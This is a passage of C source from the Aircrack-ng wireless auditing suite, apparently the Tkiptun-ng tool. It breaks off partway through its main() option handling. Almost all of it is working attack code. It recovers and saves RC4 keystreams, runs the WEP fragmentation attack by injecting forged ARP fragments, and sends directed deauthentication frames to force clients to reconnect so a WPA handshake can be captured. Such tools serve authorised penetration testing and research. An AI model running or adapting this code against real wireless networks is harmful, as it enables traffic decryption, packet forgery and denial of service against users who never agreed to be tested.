opt.chopped_from_plain = (unsigned char*) malloc( caplen ); memcpy(opt.chopped_from_plain, h80211, caplen); opt.chopped_from_plain_len = caplen; opt.chopped_from_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); memcpy(opt.chopped_from_prga, chopped+26, caplen-26+4+8); opt.chopped_from_prga_len = caplen-26+4+8; } /* save the decrypted packet */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "\nSaving plaintext in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); /* save the RC4 stream (xor mask) */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving keystream in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = pkh.caplen + 8 - 26 - 8; if( fwrite( chopped + 26 + 8, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); PCT; printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", (long) time( NULL ) - tt, (float) ( pkh.caplen - 6 - 26 ) / (float) ( time( NULL ) - tt ) ); return( 0 ); } int make_arp_request(unsigned char *h80211, unsigned char *bssid, unsigned char *src_mac, unsigned char *dst_mac, unsigned char *src_ip, unsigned char *dst_ip, int size) { unsigned char *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01"; unsigned char *header80211 = (unsigned char*)"\x08\x41\x95\x00"; // 802.11 part memcpy(h80211, header80211, 4); memcpy(h80211+4, bssid, 6); memcpy(h80211+10, src_mac, 6); memcpy(h80211+16, dst_mac, 6); h80211[22] = '\x00'; h80211[23] = '\x00'; // ARP part memcpy(h80211+24, arp_header, 16); memcpy(h80211+40, src_mac, 6); memcpy(h80211+46, src_ip, 4); memset(h80211+50, '\x00', 6); memcpy(h80211+56, dst_ip, 4); // Insert padding bytes memset(h80211+60, '\x00', size-60); return 0; } void save_prga(char *filename, unsigned char *iv, unsigned char *prga, int prgalen) { size_t unused; FILE *xorfile; xorfile = fopen(filename, "wb"); unused = fwrite (iv, 1, 4, xorfile); unused = fwrite (prga, 1, prgalen, xorfile); fclose (xorfile); } int do_attack_fragment() { unsigned char packet[4096]; unsigned char packet2[4096]; unsigned char prga[4096]; unsigned char iv[4]; // unsigned char ack[14] = "\xd4"; char strbuf[256]; struct tm *lt; struct timeval tv, tv2; int done; int caplen; int caplen2; int arplen; int round; int prga_len; int isrelay; int again; int length; int ret; int gotit; int acksgot; int packets; int z; unsigned char *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; done = caplen = caplen2 = arplen = round = 0; prga_len = isrelay = gotit = again = length = 0; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) { memset( opt.r_dmac, '\xFF', 6); opt.r_dmac[5] = 0xED; } if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_sip, '\xFF', 4); } if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_dip, '\xFF', 4); } PCT; printf ("Waiting for a data packet...\n"); while(!done) // { round = 0; if( capture_ask_packet( &caplen, 0 ) != 0 ) return -1; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2)) continue; memcpy( packet2, h80211, caplen ); caplen2 = caplen; PCT; printf("Data packet found!\n"); if ( memcmp( packet2 + 4, SPANTREE, 6 ) == 0 || memcmp( packet2 + 16, SPANTREE, 6 ) == 0 ) { packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+6] = ((packet2[z+6] ^ 0x00) ^ 0x08); //0x00 instead of 0x08 } prga_len = 7; again = RETRY; memcpy( packet, packet2, caplen2 ); caplen = caplen2; memcpy(prga, packet+z+4, prga_len); memcpy(iv, packet+z, 4); xor_keystream(prga, snap_header, prga_len); while(again == RETRY) //sending 7byte fragments { again = 0; arplen=60; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 39); arplen=63; } acksgot=0; packets=(arplen-24)/(prga_len-4); if( (arplen-24)%(prga_len-4) != 0 ) packets++; PCT; printf("Sending fragmented packet\n"); send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { acksgot++; } continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z < 66) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); if (caplen-z == 68-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 71-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 39); } if (! isrelay) { //Building expected cleartext unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02"; //Ethernet & ARP header //Followed by the senders MAC and IP: memcpy(ct+16, packet+16, 6); memcpy(ct+22, opt.r_dip, 4); //And our own MAC and IP: memcpy(ct+26, opt.r_smac, 6); memcpy(ct+32, opt.r_sip, 4); //Calculating memcpy(prga, packet+z+4, 36); xor_keystream(prga, ct, 36); } else { memcpy(prga, packet+z+4, 36); xor_keystream(prga, h80211+24, 36); } memcpy(iv, packet+z, 4); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 384 bytes of a keystream\n"); arplen=408; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', arplen+8); arplen+=32; } acksgot=0; packets=(arplen-24)/(32); if( (arplen-24)%(32) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 32, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 400-24 && caplen-z < 500-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); if (caplen-z == 416-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 448-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 416); } memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, 384); xor_keystream(prga, h80211+24, 384); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 1500 bytes of a keystream\n"); make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500); arplen=1500; if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 1508); arplen+=32; } acksgot=0; packets=(arplen-24)/(300); if( (arplen-24)%(300) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 300, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 1496-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { printf("Still nothing, quitting with 384 bytes? [y/n] \n"); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) again = ABORT; else again = NEW_IV; } break; } } } if(again == NEW_IV) continue; if(again == ABORT) length = 408; else length = 1500; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); if (caplen == length+8+z) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen == length+16+z) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', length+8); } if(again != ABORT) { memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, length); xor_keystream(prga, h80211+24, length); } lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "fragment-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); save_prga(strbuf, iv, prga, length); printf( "Saving keystream in %s\n", strbuf ); printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length); done=1; } return( 0 ); } static int get_ip_port(char *iface, char *ip, const int ip_size) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, (struct in_addr *)&addr)) goto out; /* XXX resolve hostname */ if(strlen(host) > 15) { port = -1; goto out; } strncpy(ip, host, ip_size); port = atoi(ptr); if(port <= 0) port = -1; out: free(host); return port; } int getHDSK() { int i, n; int aacks, sacks, caplen; struct timeval tv; fd_set rfds; n = 0; // usleep( 180000 ); /* deauthenticate the target */ memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); aacks = 0; sacks = 0; for( i = 0; i < 4; i++ ) { if(i == 0) { PCT; printf( "Sending 4 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.wpa.stmac[0], opt.wpa.stmac[1], opt.wpa.stmac[2], opt.wpa.stmac[3], opt.wpa.stmac[4], opt.wpa.stmac[5], sacks, aacks ); } memcpy( h80211 + 4, opt.wpa.stmac, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.wpa.stmac, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 100000 ); while( 1 ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 0; tv.tv_usec = 1000; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) break; caplen = read_packet( h80211, sizeof( h80211 ), NULL ); check_received(h80211, caplen); if(caplen <= 0 ) break; if(caplen != 10) continue; if( h80211[0] == 0xD4) { if( memcmp(h80211+4, opt.wpa.stmac, 6) == 0 ) { aacks++; } if( memcmp(h80211+4, opt.r_bssid, 6) == 0 ) { sacks++; } PCT; printf( "Sending 4 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.wpa.stmac[0], opt.wpa.stmac[1], opt.wpa.stmac[2], opt.wpa.stmac[3], opt.wpa.stmac[4], opt.wpa.stmac[5], sacks, aacks ); } } } printf("\n"); return( 0 ); } int main( int argc, char *argv[] ) { int i, j, n, ret, got_hdsk; char *s, buf[128]; int caplen=0; unsigned char packet1[4096]; unsigned char packet2[4096]; int packet1_len, packet2_len; struct timeval mic_fail; #ifdef USE_GCRYPT // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); opt.f_type = -1; opt.f_subtype = -1; opt.f_minlen = 80; opt.f_maxlen = 80; opt.f_minlen_set = 0; opt.f_maxlen_set = 0; opt.f_tods = -1; opt.f_fromds = -1; opt.f_iswep = -1; opt.ringbuffer = 8; opt.a_mode = -1; opt.r_fctrl = -1; opt.ghost = 0; opt.npackets = -1; opt.delay = 15; opt.bittest = 0; opt.fast = -1; opt.r_smac_set = 0; opt.npackets = 1; opt.nodetect = 0; opt.mic_failure_interval = DEFAULT_MIC_FAILURE_INTERVAL; /* XXX */ #if 0 #if defined(__FreeBSD__) /* check what is our FreeBSD version. injection works only on 7-CURRENT so abort if it's a lower version. */ if( __FreeBSD_version < 700000 ) { fprintf( stderr, "Aireplay-ng does not work on this " "release of FreeBSD.\n" ); exit( 1 ); } #endif #endif while( 1 ) { int option_index = 0; static struct option long_options[] = { {"help", 0, 0, 'H'}, {"fast", 0, 0, 'F'}, {"pmk", 1, 0, 'P'}, {"psk", 1, 0, 'p'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'd' : if( getmac( optarg, 1, opt.f_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : if( getmac( optarg, 1, opt.f_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'm' : ret = sscanf( optarg, "%d", &opt.f_minlen ); if( opt.f_minlen < 0 || ret != 1 ) { printf( "Invalid minimum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_minlen_set=1; break; case 'n' : ret = sscanf( optarg, "%d", &opt.f_maxlen ); if( opt.f_maxlen < 0 || ret != 1 ) { printf( "Invalid maximum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_maxlen_set=1; break; case 't' : ret = sscanf( optarg, "%d", &opt.f_tods ); if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 ) { printf( "Invalid tods filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f' : ret = sscanf( optarg, "%d", &opt.f_fromds ); if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) { printf( "Invalid fromds filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( getmac( optarg, 1, opt.f_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.r_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( getmac( optarg, 1, opt.wpa.stmac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.r_smac_set=1; break; case 'e' : memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); break; case 'j' : opt.r_fromdsinj = 1; break; case 'D' : opt.nodetect = 1; break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1); break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'Z' : opt.fast = 0; break; case 'H' : printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'K' : i = 0 ; n = 0; s = optarg; while( s[i] != '\0' ) { if ( s[i] == '-' || s[i] == ':' || s[i] == ' ') i++; else s[n++] = s[i++]; } s[n] = '\0' ; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; i = 0; j = 0; while( sscanf( buf, "%x", &n ) == 1 ) { if ( n < 0 || n > 255 ) { printf( "Invalid keystream.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.oldkeystream[opt.oldkeystreamlen] = n ; opt.oldkeystreamlen++; if( i >= 64 ) break; s += 2; buf[0] = s[0]; buf[1] = s[1]; } break; case 'P' : memset( opt.pmk, 0, sizeof( opt.pmk ) ); i = hexStringToArray(optarg, strlen(optarg), opt.pmk, 128); if (i == -1) { printf("Invalid value. It requires 128 bytes of PMK in hexadecimal.\n"); return( 1 ); } opt.got_pmk = 1; break; case 'p' : memset( opt.psk, 0, sizeof( opt.psk ) ); if( strlen(optarg) < 8 || strlen(optarg) > 63) { printf("PSK with invalid length specified [8-64].\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } strncpy( opt.psk, optarg, sizeof( opt.psk ) - 1 ); opt.got_psk = 1; break; case 'M' : ret = sscanf( optarg, "%d", &opt.mic_failure_interval ); if( ret != 1 || opt.mic_failure_interval < 0 ) { printf( "Invalid MIC error timeout. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( !opt.r_smac_set ) { printf( "A Client MAC must be specified (-h).\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) { printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", opt.f_minlen, opt.f_maxlen ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if ( opt.f_tods == 1 && opt.f_fromds == 1 ) { printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) ) { dev.fd_rtc = 0; } if(dev.fd_rtc > 0) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } #endif /* linux */ #endif /* i386 */ opt.iface_out = argv[optind]; opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) { /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); } /* drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* XXX */ if( opt.r_nbpps == 0 ) { opt.r_nbpps = 10; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } //if there is no -h given, use default hardware mac if( maccmp( opt.r_smac, NULL_MAC) == 0 ) { memcpy( opt.r_smac, dev.mac_out, 6); if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) { printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]); } } if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0) { // if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n"); fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" " doesn't match the specified MAC (-h).\n" "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", dev.mac_out[0], 